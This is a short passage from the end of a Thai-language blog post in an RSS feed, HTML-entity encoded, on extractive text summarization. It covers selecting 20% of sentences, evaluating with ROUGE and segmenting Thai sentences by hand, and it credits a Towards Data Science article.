&#xE21;&#xE32;&#xE01;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14; &#xE08;&#xE33;&#xE19;&#xE27;&#xE19; 20% &#xE02;&#xE2D;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE41;&#xE17;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE15;&#xE49;&#xE19;&#xE09;&#xE1A;&#xE31;&#xE1A; &#xE41;&#xE25;&#xE30;&#xE27;&#xE31;&#xE14;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E; Model &#xE14;&#xE49;&#xE27;&#xE22; Rouge<strong> </strong>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE14;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE43;&#xE19;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE20;&#xE32;&#xE29;&#xE32;&#xE44;&#xE17;&#xE22;&#xE22;&#xE31;&#xE07;&#xE04;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE17;&#xE49;&#xE32;&#xE17;&#xE32;&#xE22; &#xE1C;&#xE39;&#xE49;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE08;&#xE36;&#xE07;&#xE15;&#xE31;&#xE14;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE14;&#xE49;&#xE27;&#xE22;&#xE21;&#xE37;&#xE2D;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Text Summarization &#xE01;&#xE48;&#xE2D;&#xE19;</p><p><strong><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong></strong> &#xE1A;&#xE32;&#xE07;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE19;&#xE35;&#xE49;&#xE14;&#xE31;&#xE14;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE21;&#xE32;&#xE01;&#xE08;&#xE32;&#xE01; <a href="https://towardsdatascience.com/understand-text-summarization-and-create-your-own-summarizer-in-python-b26a9f09fc70?ref=blog.pjjop.org">https://towardsdatascience.com/understand-text-summarization-and-create-your-own-summarizer-in-python-b26a9f09fc70</a></p>]]></content:encoded></item></channel></rss>